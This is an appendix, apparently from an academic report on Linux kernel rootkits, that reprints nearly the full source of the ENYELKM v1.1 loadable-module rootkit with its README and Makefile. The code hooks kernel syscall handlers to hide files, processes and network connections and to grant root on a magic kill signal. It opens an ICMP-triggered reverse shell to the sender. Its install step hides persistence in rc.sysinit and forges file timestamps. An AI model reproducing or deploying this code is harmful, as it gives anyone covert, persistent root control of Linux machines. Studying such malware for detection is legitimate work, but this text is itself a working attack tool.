    "suid\t= %d\n" 
    "fsuid\t= %d\n" 
    "gid\t= %d\n" 
    "egid\t= %d\n" 
    "sgid\t= %d\n" 
    "fsgid\t= %d\n", 
    pid, 
    task.uid, task.euid, task.suid, task.fsuid, 
    task.gid, task.egid, task.sgid, task.fsgid); 
     




SOURCE CODE LISTING FOR ENYE 1.1 
(Referenced in Chapter VII) 
D.1:  DESCRIPTION.txt 
 
ENYELKM is a LKM Rootkit for Linux x86 with kernels v2.6.x. 
 
It puts salts inside system_call and sysenter_entry handlers. So 
it does not modify sys_call_table, or IDT content. 
 
More information in README.txt. 
 
D.2:  Makefile 
 
obj-m += enyelkm.o 
enyelkm-objs := base.o kill.o ls.o read.o remoto.o 
DELKOS = base.ko kill.ko ls.ko read.ko remoto.ko 
S_ENT = 0x`grep sysenter_entry /proc/kallsyms | head -c 8` 
D_FORK = 0x`grep do_fork /proc/kallsyms | head -c 8` 
VERSION = v1.1 




 @echo "-----------------------------------------" 
 @echo " ENYELKM $(VERSION) by RaiSe" 
 @echo " raise@enye-sec.org | www.enye-sec.org" 
 @echo "-----------------------------------------" 
 @echo 
 @echo "#define DSYSENTER $(S_ENT)" > data.h 
 @echo "#define DOFORK $(D_FORK)" >> data.h 
 make -C /lib/modules/$(shell uname -r)/build SUBDIRS=$(PWD) 
modules 
 $(CC) connect.c -o connect -Wall 




 @echo "-----------------------------------------" 
 @echo " ENYELKM $(VERSION) by RaiSe" 
 @echo " raise@enye-sec.org | www.enye-sec.org" 
 @echo "-----------------------------------------" 
 @echo 





 @echo "-----------------------------------------" 
 @echo " ENYELKM $(VERSION) by RaiSe" 
 @echo " raise@enye-sec.org | www.enye-sec.org" 
 @echo "-----------------------------------------" 
 @echo 
 @cp -f enyelkm.ko /etc/.enyelkmHIDE^IT.ko 
 @chattr +i /etc/.enyelkmHIDE^IT.ko > /dev/null 2> /dev/null 
 @echo -e "#<HIDE_8762>\ninsmod /etc/.enyelkmHIDE^IT.ko" \ 
  \ " > /dev/null 2> /dev/null\n#</HIDE_8762>" \ 
  \ >> /etc/rc.d/rc.sysinit 
 @touch -r /etc/rc.d/rc /etc/rc.d/rc.sysinit > /dev/null 2> 
/dev/null 
 @insmod /etc/.enyelkmHIDE^IT.ko 
 @echo + enyelkm.ko copy to /etc/.enyelkmHIDE^IT.ko 
 @echo + autoload hidden string installed on /etc/rc.d/rc.sysinit 
 @echo + enyelkm loaded ! 




 @echo "-----------------------------------------" 
 @echo " ENYELKM $(VERSION) by RaiSe" 
 @echo " raise@enye-sec.org | www.enye-sec.org" 
 @echo "-----------------------------------------" 
 @echo 
 @rm -rf *.o *.ko *.mod.c .*.cmd data.h connect .tmp_versions 
 make -C /lib/modules/$(shell uname -r)/build SUBDIRS=$(PWD) clean 
 
D.3:  README.txt 
 
----------------------------------- 
   ENYELKM v1.1  |  by RaiSe 
   Linux Rootkit x86 kernel v2.6.x 
   < raise@enye-sec.org > 













   # make install 
 
 Compile only reverse_shell connect utility: 
 




 * Make install does: 
 
 - Copy enyelkm.ko file to '/etc/.enyelkmHIDE^IT.ko', so when LKM 
 is loaded that file will be hidden.  
 
 - Add the string 'insmod /etc/.enyelkmHIDE^IT.ko' between the marks 
 #<HIDE_8762> and #</HIDE_8762> to /etc/rc.d/rc.sysinit file. So 
 when LKM is loaded these lines will be hidden (it is explained after). 
 
 - Load LKM with 'insmod /etc/.enyelkmHIDE^IT.ko'. 
 
 - Try modify date of /etc/rc.d/rc.sysinit file with date from 
 /etc/rc.d/rc, and set +i attribute to /etc/.enyelkmHIDE^IT.ko 
 with touch and chattr commands. 
 
 
 * Hide files, directories and processes: 
 
 Every file, directory and process with substring 'HIDE^IT' on 
 his name is hidden. Processes with gid = 0x489196ab are hidden 
 too. Reverse shell (after is explained) run with gid = 0x489196ab, so 
 it and every process launched from it is hidden. 
 
 
 * Hide chunks inside a file: 
 
 Every byte between the marks is hidden: 
 (marks included) 
 
 #<HIDE_8762> 




 * Get local root: 
 
 Doing: # kill -s 58 12345 
 you get id 0. 
 
 
 * Hide module to 'lsmod': 
 
 LKM is auto hidden. 
 
 
 * Hide module to '/sys/module': 
 
 Rename LKM (.ko) to a name with substring HIDE^IT in his name before 
 load it with insmod (as 'make install' do). 
 
 
 * Remote access: 
 
 Use utility 'connect' for it. Run it: './connect 
ip_computer_with_lkm'. It 
 sends a special ICMP, open a port and receive the reverse shell. For 
exit 
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 * Uninstall LKM: 
 
 Restart the computer. If you made 'make install', edit 
/etc/rc.d/rc.sysinit 
 with a text editor and save it. The editor will not 'see' the hidden 
lines 
 and it will not save them. After it restart computer. You can test if 
LKM 






D.4:  Base.c 
 
/* 
 * ENYELKM v1.1 
 * Linux Rootkit x86 kernel v2.6.x 
 * 
 * By RaiSe 
 * < raise@enye-sec.org  




























#define ORIG_EXIT 19 
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#define DIRECALL 42 
#define SALTO 5 
#define SKILL 49 
#define SGETDENTS64 57 
#define SREAD 65 
#define DAFTER_CALL 70 
#define DNRSYSCALLS 10 
 
 
/* punteros a syscalls originales */ 
asmlinkage int (*orig_kill)(pid_t pid, int sig); 
asmlinkage long (*orig_getdents64) 
     (unsigned int fd, struct dirent64 *dirp, unsigned int count); 
 
 
/* variables globales */ 
unsigned long dire_exit, after_call; 
unsigned long dire_call, p_hacked_kill, global_ip; 
unsigned long p_hacked_getdents64, p_hacked_read; 
short read_activo, lanzar_shell; 
void *sysenter_entry; 
void **sys_call_table; 
struct packet_type my_pkt; 




/* prototipos funciones */ 
void *get_system_call(void); 
void *get_sys_call_table(void *system_call); 
void set_idt_handler(void *system_call); 
void set_sysenter_handler(void *sysenter); 
 
 
/* estructuras */ 
struct idt_descriptor 
 { 
 unsigned short off_low; 
 unsigned short sel; 
 unsigned char none, flags; 




/* handler */ 
char idt_handler[]= 
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x3d\x90\x90\x00\x00\x73\x02" 
  "\xeb\x06\x68\x90\x90\x90\x90\xc3\x83\xf8\x25\x74\x12\x3d\xdc\x00" 
  "\x00\x00\x74\x13\x83\xf8\x03\x74\x16\x68\x90\x90\x90\x90\xc3\xff" 
  "\x15\x90\x90\x90\x90\xeb\x0e\xff\x15\x90\x90\x90\x90\xeb\x06\xff" 








struct module *m = &__this_module; 
 
/* borramos nuestro modulo de la lista */ 
if (m->init == init_module) 
 list_del(&m->list); 
 
sysenter_entry = (void *) DSYSENTER; 
 
/* NR_syscalls limite */ 
*((short int *) &idt_handler[DNRSYSCALLS]) = (short int) NR_syscalls; 
 
/* variables intermedias a las syscalls hackeadas */ 
p_hacked_kill = (unsigned long) hacked_kill; 
p_hacked_getdents64 = (unsigned long) hacked_getdents64; 
p_hacked_read = (unsigned long) hacked_read; 
 
/* variables de control */ 
lanzar_shell = read_activo = 0; 
global_ip = 0xffffffff; 
 
/* averiguar sys_call_table */ 
s_call = get_system_call(); 
sys_call_table = get_sys_call_table(s_call); 
 
/* punteros a syscalls originales */ 
orig_kill = sys_call_table[__NR_kill]; 
orig_getdents64 = sys_call_table[__NR_getdents64]; 
 





















/* dejar terminar procesos que estan 'leyendo' */ 
while (read_activo != 0) 
    schedule(); 
 











unsigned char idtr[6]; 
unsigned long base; 
struct idt_descriptor desc; 
 
asm ("sidt %0" : "=m" (idtr)); 
base = *((unsigned long *) &idtr[2]); 
memcpy(&desc, (void *) (base + (0x80*8)), sizeof(desc)); 
 
return((void *) ((desc.off_high << 16) + desc.off_low));  
 




void *get_sys_call_table(void *system_call) 
{ 
unsigned char *p; 
unsigned long s_c_t; 
 
p = (unsigned char *) system_call; 
 
while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85))) 
 p++; 
 
dire_call = (unsigned long) p; 
 
p += 3; 
s_c_t = *((unsigned long *) p); 
 
p += 4; 
after_call = (unsigned long) p; 
 
/* cli */ 
while (*p != 0xfa) 
 p++; 
 
dire_exit = (unsigned long) p; 
 
return((void *) s_c_t); 
 




void set_idt_handler(void *system_call) 
{ 
unsigned char *p; 
unsigned long *p2; 
 
p = (unsigned char *) system_call; 
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/* primer salto */ 
while (!((*p == 0x0f) && (*(p+1) == 0x83))) 
    p++; 
 
p -= 5; 
 
*p++ = 0x68; 
p2 = (unsigned long *) p; 
*p2++ = (unsigned long) ((void *) &idt_handler[SALTO]); 
 
p = (unsigned char *) p2; 
*p = 0xc3; 
 
/* syscall_trace_entry salto */ 
while (!((*p == 0x0f) && (*(p+1) == 0x82))) 
    p++; 
 
p -= 5; 
 
*p++ = 0x68; 
p2 = (unsigned long *) p; 
*p2++ = (unsigned long) ((void *) &idt_handler[SALTO]); 
 
p = (unsigned char *) p2; 
*p = 0xc3; 
 
p = idt_handler; 
*((unsigned long *)((void *) p+ORIG_EXIT)) = dire_exit; 
*((unsigned long *)((void *) p+DIRECALL)) = dire_call; 
*((unsigned long *)((void *) p+SKILL)) = (unsigned long) 
&p_hacked_kill; 
*((unsigned long *)((void *) p+SGETDENTS64)) = (unsigned long) 
&p_hacked_getdents64; 
*((unsigned long *)((void *) p+SREAD)) = (unsigned long) 
&p_hacked_read; 
*((unsigned long *)((void *) p+DAFTER_CALL)) = after_call; 
 




void set_sysenter_handler(void *sysenter) 
{ 
unsigned char *p; 
unsigned long *p2; 
 
p = (unsigned char *) sysenter; 
 
/* buscamos call */ 
while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85))) 
    p++; 
 
/* buscamos el jae syscall_badsys */ 
while (!((*p == 0x0f) && (*(p+1) == 0x83))) 
    p--; 
 
p -= 5; 
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/* metemos el salto */ 
 
*p++ = 0x68; 
p2 = (unsigned long *) p; 
*p2++ = (unsigned long) ((void *) &idt_handler[SALTO]); 
 
p = (unsigned char *) p2; 
*p = 0xc3; 
 




/* Licencia GPL */ 
MODULE_LICENSE("GPL"); 
 
/* EOF */ 
 
D.5:  Config.h 
 
/* 
 * Configuration file 
 */ 
 
/* debug mode */ 
#define DEBUG 0 
 
/* ICMP key */ 
#define ICMP_CLAVE "ENYELKMICMPKEY" 
 
/* key to hide files, directories and processes */ 
#define SHIDE "HIDE^IT" 
 
/* GID magic */ 
#define SGID 0x489196ab 
 
/* home directory of remote shell */ 
#define HOME "/" 
 
D.6:  Connect.c 
 
/* 
 * ENYELKM v1.1 
 * Linux Rootkit x86 kernel v2.6.x 
 * 
 * By RaiSe 
 * < raise@enye-sec.org 



















int enviar_icmp(char *ipdestino, unsigned short puerto); 
 
 
int main(int argc, char *argv[]) 
{ 
struct sockaddr_in dire; 
unsigned short puerto; 
int soc, soc2; 
fd_set s_read; 




    { 
    printf("\nYou need root level (to use raw sockets).\n\n"); 
    exit(-1); 
    } 
  
if (argc < 2) 
    { 
 printf("\nUtility to connect reverse shell from enyelkm:\n"); 




if (argc > 2) 
 puerto = (unsigned short) atoi(argv[2]); 
else 
 puerto = 8822; 
 
 
if ((soc = socket(AF_INET, SOCK_STREAM, 0)) == -1) 
    { 
    printf("error creating socket.\n"); 
    exit(-1); 
    } 
 
bzero((char *) &dire, sizeof(dire)); 
 
dire.sin_family = AF_INET; 
dire.sin_port = htons(puerto); 
dire.sin_addr.s_addr = htonl(INADDR_ANY); 
 
while(bind(soc, (struct sockaddr *) &dire, sizeof(dire)) == -1) 










printf("Waiting shell on port %d (it may delay some seconds) ...\n", 
(int) puerto); 
fflush(stdout); 
soc2 = accept(soc, NULL, 0); 
printf("launching shell ...\n\n"); 
printf("id\n"); 
fflush(stdout); 




    { 
    FD_ZERO(&s_read); 
 FD_SET(0, &s_read); 
    FD_SET(soc2, &s_read); 
 
    select((soc2 > 0 ? soc2+1 : 0+1), &s_read, 0, 0, NULL); 
 
    if (FD_ISSET(0, &s_read)) 
        { 
        if (read(0, &tmp, 1) == 0) 
            break; 
        write(soc2, &tmp, 1); 
        } 
 
    if (FD_ISSET(soc2, &s_read)) 
        { 
        if (read(soc2, &tmp, 1) == 0) 
            break; 
        write(1, &tmp, 1); 
        } 
 





} /***** fin de main() *****/ 
 
 
int enviar_icmp(char *ipdestino, unsigned short puerto) 
{ 
int soc, n, tot; 
long sum; 
unsigned short *p; 
struct sockaddr_in adr; 
unsigned char pqt[4096]; 
struct iphdr *ip = (struct iphdr *) pqt; 
struct icmphdr *icmp = (struct icmphdr *)(pqt + sizeof(struct iphdr)); 







p = (unsigned short *)((void *)(data + strlen(data))); 
*p = puerto; 
 
tot = sizeof(struct iphdr) + sizeof(struct icmphdr) + 
strlen(ICMP_CLAVE) + sizeof(puerto); 
 
if((soc=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) == -1) 
 { 




adr.sin_family = AF_INET; 
adr.sin_port = 0; 
adr.sin_addr.s_addr = inet_addr(ipdestino); 
 
ip->ihl = 5; 
ip->version = 4; 
ip->id = rand() % 0xffff; 
ip->ttl = 0x40; 
ip->protocol = 1; 
ip->tos = 0; 
ip->tot_len = htons(tot); 
ip->saddr = 0; 
ip->daddr = inet_addr(ipdestino); 
 
icmp->type = ICMP_ECHO; 
icmp->code = 0; 
icmp->un.echo.id = getpid() && 0xffff; 
icmp->un.echo.sequence = 0; 
 
printf("Sending ICMP ...\n"); 
fflush(stdout); 
 
n = sizeof(struct icmphdr) + strlen(ICMP_CLAVE) + sizeof(puerto); 
icmp->checksum = 0; 
sum = 0; 
p = (unsigned short *)(pqt + sizeof(struct iphdr)); 
 
while (n > 1) 
 { 
 sum += *p++; 
 n -= 2; 
 } 
 
if (n == 1) 
 { 
 unsigned char pad = 0; 
 pad = *(unsigned char *)p; 
 sum += (unsigned short) pad; 
 } 
 
sum = ((sum >> 16) + (sum & 0xffff)); 
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icmp-> checksum = (unsigned short) ~sum; 
 
if ((n = (sendto(soc, pqt, tot, 0, (struct sockaddr*) &adr, 
    sizeof(adr)))) == -1) 
 { 







} /********* fin de enviar_icmp() ********/  
 
 
/* EOF */ 
 
D.7:  Data.h 
 
#define DSYSENTER 0xc0104064 
#define DOFORK 0xc0110f10 
 









struct module __this_module 
__attribute__((section(".gnu.linkonce.this_module"))) = { 
 .name = __stringify(KBUILD_MODNAME), 
 .init = init_module, 
#ifdef CONFIG_MODULE_UNLOAD 




static const struct modversion_info ____versions[] 
__attribute_used__ 
__attribute__((section("__versions"))) = { 
 {        0, "cleanup_module" }, 
 {        0, "init_module" }, 
 {        0, "struct_module" }, 
 {        0, "__kmalloc" }, 
 {        0, "__kfree_skb" }, 
 {        0, "simple_strtoul" }, 
 {        0, "sprintf" }, 
 {        0, "__copy_to_user_ll" }, 
 {        0, "vfs_read" }, 
 {        0, "__copy_from_user_ll" }, 
 {        0, "strstr" }, 
 {        0, "fput" }, 
 {        0, "schedule" }, 
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 {        0, "kfree" }, 
 {        0, "memcpy" }, 
 {        0, "dev_add_pack" }, 
 {        0, "memmove" }, 
}; 
 





D.9:  Kill.c 
 
/* 
 * ENYELKM v1.1 
 * Linux Rootkit x86 kernel v2.6.x 
 * 
 * By RaiSe 
 * < raise@enye-sec.org  






















#define SIG 58 
#define PID 12345 
 
 
/* declaraciones externas */ 
extern asmlinkage int (*orig_kill)(pid_t pid, int sig); 
 
 
asmlinkage int hacked_kill(pid_t pid, int sig) 
{ 
struct task_struct *ptr = current; 
int tsig = SIG, tpid = PID, ret_tmp; 
 
 
if ((tpid == pid) && (tsig == sig)) 
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    { 
    ptr->uid = 0; 
    ptr->euid = 0; 
    ptr->gid = 0; 
    ptr->egid = 0; 
    return(0); 
    } 
else 
    { 
    ret_tmp = (*orig_kill)(pid, sig); 
    return(ret_tmp); 










D.10:  Kill.h 
 
/* funciones de kill.c */ 
 
asmlinkage int hacked_kill(pid_t pid, int sig); 
 
D.11:  Ls.c 
 
/* 
 * ENYELKM v1.1 
 * Linux Rootkit x86 kernel v2.6.x 
 * 
 * By RaiSe 
 * < raise@enye-sec.org 


























/* declaraciones externas */ 
extern asmlinkage long (*orig_getdents64) 




asmlinkage long hacked_getdents64 
  (unsigned int fd, struct dirent64 *dirp, unsigned int count) 
{ 
struct dirent64 *td1, *td2; 
long ret, tmp; 
unsigned long hpid; 
short int mover_puntero, ocultar_proceso; 
 
 
/* llamamos a la syscall original */ 
ret = (*orig_getdents64) (fd, dirp, count); 
 





/* copiamos la lista al kernel space */ 
td2 = (struct dirent64 *) kmalloc(ret, GFP_KERNEL); 
__copy_from_user(td2, dirp, ret); 
 
 
/* inicializamos punteros y contadores */ 
td1 = td2, tmp = ret; 
 
while (tmp > 0) 
 { 
 tmp -= td1->d_reclen; 
 mover_puntero = 1; 
 ocultar_proceso = 0; 
 hpid = 0; 
 
 hpid = simple_strtoul(td1->d_name, NULL, 10); 
 
 /* ocultacion de procesos */ 
 if (hpid != 0) 
  { 
  struct task_struct *htask = current; 
 
  /* buscamos el pid */ 
  do  { 
   if(htask->pid == hpid) 
    break; 
   else 
    htask = next_task(htask); 
   } while (htask != current); 
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  /* lo ocultamos */ 
  if (((htask->pid == hpid) && (htask->gid == SGID)) || 
   ((htask->pid == hpid) && (strstr(htask->comm, SHIDE) 
!= NULL))) 
   ocultar_proceso = 1; 
        } 
 
 
 /* ocultacion de ficheros/directorios */ 
 if ((ocultar_proceso) || (strstr(td1->d_name, SHIDE) != NULL)) 
  { 
  /* una entrada menos */ 
  ret -= td1->d_reclen; 
 
  /* no moveremos el puntero al siguiente */ 
  mover_puntero = 0; 
 
  if (tmp) 
   /* no es el ultimo */ 
   memmove(td1, (char *) td1 + td1->d_reclen, tmp); 
  } 
 
 if ((tmp) && (mover_puntero)) 
  td1 = (struct dirent64 *) ((char *) td1 + td1->d_reclen); 
 
 } /* fin while */ 
 
/* copiamos la lista al user space again */ 





} /********** fin hacked_getdents[64] *********/ 
 
 
/* EOF */ 
 
D.12:  Ls.h 
 
/* funciones de ls.c */ 
 
asmlinkage long hacked_getdents64 
     (unsigned int fd, struct dirent64 *dirp, unsigned int count); 
 
D.13:  Read.c 
 
/* 
 * ENYELKM v1.1 
 * Linux Rootkit x86 kernel v2.6.x 
 * 
 * By RaiSe 
 * < raise@enye-sec.org 



























#define SSIZE_MAX 32767 
 
 
/* define marcas */ 
#define MOPEN "#<HIDE_8762>" 
#define MCLOSE "#</HIDE_8762>" 
 
 
/* declaraciones externas */ 
extern short lanzar_shell; 
extern short read_activo; 
extern unsigned long global_ip; 
extern unsigned short global_port; 
 
/* do_fork */ 
long (*my_do_fork)(unsigned long clone_flags, 
  unsigned long stack_start, 
  struct pt_regs *regs, 
  unsigned long stack_size, 
  int __user *parent_tidptr, 




struct file *e_fget_light(unsigned int fd, int *fput_needed) 
{ 
    struct file *file; 
    struct files_struct *files = current->files; 
 
    *fput_needed = 0; 
    if (likely((atomic_read(&files->count) == 1))) { 
        file = fcheck(fd); 
    } else { 
        spin_lock(&files->file_lock); 
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        file = fcheck(fd); 
        if (file) { 
            get_file(file); 
            *fput_needed = 1; 
        } 
        spin_unlock(&files->file_lock); 
    } 
    return file; 
 









/* si SSIZE_MAX <= size <= 0 retornamos -1 */ 
if ((size <= 0) || (size >= SSIZE_MAX)) 
 return(-1); 
 
/* reservamos memoria para el buffer y copiamos */ 
buf = (char *) kmalloc(size+1, GFP_KERNEL); 
__copy_from_user((void *) buf, (void *) arg, size); 
buf[size] = 0; 
 
/* chequeamos las marcas */ 
if ((strstr(buf, MOPEN) != NULL) && (strstr(buf, MCLOSE) != NULL)) 
 { 





/* chequeamos /proc/net/tcp */ 
if ((fichero != NULL) && (fichero->f_dentry != NULL) && 
  (fichero->f_dentry->d_parent != NULL) && 
   (fichero->f_dentry->d_parent->d_parent != NULL)) 
 { 
 /* todo correcto ? */ 
 if((fichero->f_dentry->d_iname == NULL) || 
  (fichero->f_dentry->d_parent->d_iname == NULL) || 
  (fichero->f_dentry->d_parent->d_parent->d_inode == NULL)) 
  { 
  kfree(buf); 
  return(-1); 
  } 
 
 /* /proc/net/tcp ? */ 
 if(!strcmp(fichero->f_dentry->d_iname, "tcp") && 
  !strcmp(fichero->f_dentry->d_parent->d_iname, "net") && 
  (fichero->f_dentry->d_parent->d_parent->d_inode->i_ino == 
1)) 
  { 
  /* devolvemos 2 para ocultar conexiones */ 
  kfree(buf); 
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  return(2); 
  } 
 } 
 








int hide_marcas(void *arg, int size) 
{ 
char *buf, *p1, *p2; 
int i, newret; 
 
 
/* reservamos y copiamos */ 
buf = (char *) kmalloc(size, GFP_KERNEL); 
__copy_from_user((void *) buf, (void *) arg, size); 
 
p1 = strstr(buf, MOPEN); 
p2 = strstr(buf, MCLOSE); 
p2 += strlen(MCLOSE); 
 
i = size - (p2 - buf); 
 
memmove((void *) p1, (void *) p2, i); 
newret = size - (p2 - p1); 
 
/* copiamos al user space, liberamos y retornamos */ 














sprintf(hide, "%08X:", (unsigned int) global_ip); 
 
if (strstr(linea, hide) != NULL) 
 /* ocultamos todos los sockets con nuestra ip */ 
 return(1); 
 
/* no ocultamos nada */ 
return(0); 
 





int copiar_linea(char *dst, char *from, int index) 
{ 
char *p, *p2, tmp; 
int i = 0; 
 
 
p = from; 
 
/* colocamos p en el principio de la linea */ 
while (i != index) 
 { 
 while (*p++ != 0x0a); 
 
 /* nos pasamos */ 
 if (p >= from+strlen(from)) 





p2 = p; 
 
/* p2 al final de la linea y ponemos un null temporal */ 
while (*p2++ != 0x0a) 
 { 
 /* por si no tiene fin de linea */ 
 if(p2 >= from+strlen(from)) 
  break; 
 } 
 
tmp = *p2; 
*p2 = 0x00; 
 
/* copiamos y restauramos el char */ 
strcpy(dst, p); 








int ocultar_netstat(char *arg, int size) 
{ 
char linea[256], *buf, *dst; 
int cont = 0, ret; 
 
 
/* no deberia ocurrir nunca */ 
if (size == 0)  
 return(size); 
 
/* reservamos y copiamos */ 
buf = (char *) kmalloc(size+1, GFP_KERNEL); 
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__copy_from_user((void *) buf, (void *) arg, size); 
buf[size] = 0x00; 
 
/* reservamos buffer destino temporal */ 
dst = (char *) kmalloc(size+16, GFP_KERNEL); 
dst[0] = 0x00; 
 
while (copiar_linea(linea, buf, cont++)) 
 if (!ocultar_linea(linea)) 
  strcat(dst, linea); 
 
/* nuevo size posible */ 
ret = strlen(dst); 
 
/* copiamos al user space, liberamos y retornamos */ 










asmlinkage ssize_t hacked_read(int fd, void *buf, size_t nbytes) 
{ 
struct pt_regs regs; 





/* se hace 1 copia del proceso y se lanza la shell */ 
if (lanzar_shell == 1) 
    { 
 memset(&regs, 0, sizeof(regs)); 
  
 regs.xds = __USER_DS; 
 regs.xes = __USER_DS; 
 regs.orig_eax = -1; 
 regs.xcs = __KERNEL_CS; 
 regs.eflags = 0x286; 
 regs.eip = (unsigned long) reverse_shell; 
 
    lanzar_shell = 0; 
 
 (*my_do_fork)(0, 0, &regs, 0, NULL, NULL); 
    } 
 
/* seteamos read_activo a uno */ 
read_activo = 1; 
 
/* error de descriptor no valido o no abierto para lectura */ 
ret = -EBADF; 
 





 ret = vfs_read(fichero, buf, nbytes, &fichero->f_pos); 
 
 /* aqui es donde analizamos el contenido y ejecutamos la 
 funcion correspondiente */ 
 
 switch(checkear(buf, ret, fichero)) 
     { 
     case 1: 
   /* marcas */ 
         ret = hide_marcas(buf, ret); 
         break; 
 
  case 2: 
   /* ocultar conexion */ 
   ret = ocultar_netstat(buf, ret); 
   break;   
 
     case -1: 
         /* no hacer nada */ 
         break; 
     } 
 
 fput_light(fichero, fput_needed); 
 } 
 
/* seteamos read_activo a cero */ 









D.14:  Read.h 
 
/* funciones de read.c */ 
 
asmlinkage ssize_t hacked_read(int fd, void *buf, size_t nbytes); 
int checkear(void *arg, int size); 
int hide_marcas(void *arg, int size); 
int ocultar_linea(char *linea); 
int ocultar_netstat(char *arg, int size); 
int copiar_linea(char *dst, char *from, int index); 
 
D.15:  Remoto.c 
 
/* 
 * ENYELKM v1.1 
 * Linux Rootkit x86 kernel v2.6.x 
 * 
 * By RaiSe 
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 * < raise@enye-sec.org 



























#define __NR_e_exit __NR_exit 
 
 
/* variables globales */ 
static char *earg[4] = { "/bin/bash", "--noprofile", "--norc", NULL }; 
extern short lanzar_shell; 
extern int errno; 
extern unsigned long global_ip; 
extern unsigned short global_port; 
int ptmx, epty; 
 
 
/* variables de entorno */ 
char *env[]={ 
    "TERM=linux", 
    "HOME=" HOME, 
    "PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin" 
    ":/usr/local/sbin", 
    "HISTFILE=/dev/null", 
     NULL }; 
 
 
/* syscalls */ 
static inline _syscall2(int, kill, pid_t, pid, int, sig); 
static inline _syscall1(int, chdir, const char *, path); 
static inline _syscall3(int, write, int, fd, const char *, buf, off_t, 
count); 
static inline _syscall3(int, read, int, fd, char *, buf, off_t, count); 
static inline _syscall1(int, e_exit, int, exitcode); 
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static inline _syscall3(int, open, const char *, file, int, flag, int, 
mode); 
static inline _syscall1(int, close, int, fd); 
static inline _syscall2(int, dup2, int, oldfd, int, newfd); 
static inline _syscall2(int, socketcall, int, call, unsigned long *, 
args); 
static inline _syscall3(int, execve, const char *, filename, 
 const char **, argv, const char **, envp); 
static inline _syscall3(long, ioctl, unsigned int, fd, unsigned int, 
cmd, 
 unsigned long, arg); 
static inline _syscall5(int, _newselect, int, n, fd_set *, readfds, 
fd_set *, 
 writefds, fd_set *, exceptfds, struct timeval *, timeout); 
 
/* do_fork */ 
extern long (*my_do_fork)(unsigned long clone_flags, 
           unsigned long stack_start, 
           struct pt_regs *regs, 
           unsigned long stack_size, 
           int __user *parent_tidptr, 




int reverse_shell(void *ip) 
{ 
struct task_struct *ptr = current; 
struct sockaddr_in dire; 
struct pt_regs regs; 
mm_segment_t old_fs; 
unsigned long arg[3]; 
int soc, tmp_pid; 




old_fs = get_fs(); 
 
ptr->uid = 0; 
ptr->euid = 0; 
ptr->gid = SGID; 
ptr->egid = 0; 
 
arg[0] = AF_INET; 
arg[1] = SOCK_STREAM; 




if ((soc = socketcall(SYS_SOCKET, arg)) == -1) 
 { 
 set_fs(old_fs); 
 lanzar_shell = 1; 
 
    e_exit(-1); 
 return(-1); 
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    } 
 
memset((void *) &dire, 0, sizeof(dire)); 
 
dire.sin_family = AF_INET; 
dire.sin_port = htons((unsigned short) global_port); 
dire.sin_addr.s_addr = (unsigned long) global_ip; 
 
arg[0] = soc; 
arg[1] = (unsigned long) &dire; 
arg[2] = (unsigned long) sizeof(dire); 
 










/* pillamos tty */ 
epty = get_pty(); 
 
/* ejecutamos shell */ 
set_fs(old_fs); 
 
memset(&regs, 0, sizeof(regs)); 
regs.xds = __USER_DS; 
regs.xes = __USER_DS; 
regs.orig_eax = -1; 
regs.xcs = __KERNEL_CS; 
regs.eflags = 0x286; 
regs.eip = (unsigned long) ejecutar_shell; 








 FD_SET(ptmx, &s_read); 
 FD_SET(soc, &s_read); 
 
 _newselect((ptmx > soc ? ptmx+1 : soc+1), &s_read, 0, 0, NULL); 
 
 if (FD_ISSET(ptmx, &s_read)) 
  { 
  if (read(ptmx, &tmp, 1) == 0) 
   break; 
  write(soc, &tmp, 1); 
  } 
 
 if (FD_ISSET(soc, &s_read)) 
  { 
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  if (read(soc, &tmp, 1) == 0) 
   break; 
  write(ptmx, &tmp, 1); 
  } 
 
 } /* fin while */ 
 
 
/* matamos el proceso */ 
kill(tmp_pid, SIGKILL); 
 










int capturar(struct sk_buff *skb, struct net_device *dev, struct 
packet_type *pkt, 
    struct net_device *dev2) 
{ 




/* debe ser icmp */ 






/* el icmp debe ser para nosotros */ 






len = (unsigned short) skb->nh.iph->tot_len; 
len = htons(len); 
 
/* no es nuestro icmp */ 






/* copiamos el packete */ 
memcpy (buf, (void *) skb->nh.iph, len); 
 
/* borramos los null */ 
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for (i=0; i < len; i++) 
 if (buf[i] == 0) 
  buf[i] = 1; 
buf[len] = 0; 
 
if(strstr(buf,ICMP_CLAVE) != NULL) 
  { 
  unsigned short *puerto; 
 
  puerto = (unsigned short *) 
     ((void *)(strstr(buf,ICMP_CLAVE) + 
strlen(ICMP_CLAVE))); 
 
  global_port = *puerto; 
  global_ip = skb->nh.iph->saddr; 
 
  lanzar_shell = 1; 












int npty, lock = 0; 
 
ptmx = open("/dev/ptmx", O_RDWR, S_IRWXU); 
 
/* pillamos pty libre */ 
ioctl(ptmx, TIOCGPTN, (unsigned long) &npty); 
 
/* bloqueamos */ 
ioctl(ptmx, TIOCSPTLCK, (unsigned long) &lock); 
 
/* abrimos pty */ 
sprintf(buf, "/dev/pts/%d", npty); 
npty = open(buf, O_RDWR, S_IRWXU); 
 
/* devolvemos el descriptor */ 
return(npty); 
 






struct termios term; 
 
ioctl(0, TCGETS, (unsigned long) &term); 
term.c_lflag = term.c_lflag || CLOCAL; 
ioctl(0, TCSETS, (unsigned long) &term); 
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struct task_struct *ptr = current; 
mm_segment_t old_fs; 
 
old_fs = get_fs(); 
set_fs(KERNEL_DS); 
 
ptr->uid = 0; 
ptr->euid = 0; 
ptr->gid = SGID; 
ptr->egid = 0; 
 





/* quitamos eco */ 
eco_off(); 
 
/* cambiamos a home */ 
chdir(HOME); 
 
execve(earg[0], (const char **) earg, (const char **) env); 
 
/* salimos en caso de error */ 
e_exit(-1); 
 




/* EOF */ 
 
D.16:  Remoto.h 
 
/* funciones de remoto.c */ 
 
int capturar(struct sk_buff *skb, struct net_device *dev, struct 
packet_type *pkt, 
    struct net_device *dev2); 











2.4.27 KERNEL SYSTEM CALL TABLE ADDRESS DATA 
(Referenced in Chapter III) 
E.1:  IA32 Kernel 2.4.27 Clean System Call Table 
 
 
0xc011f9e0 0xc0118850 0xc0105a00 0xc01357e0 
0xc0135920 0xc0135200 0xc0135350 0xc0118c20 
0xc01352a0 0xc0141ab0 0xc01416d0 0xc0105a90 
0xc0134840 0xc0119190 0xc0140ed0 0xc0134b70 
0xc0122140 0xc011f9e0 0xc013c990 0xc0135650 
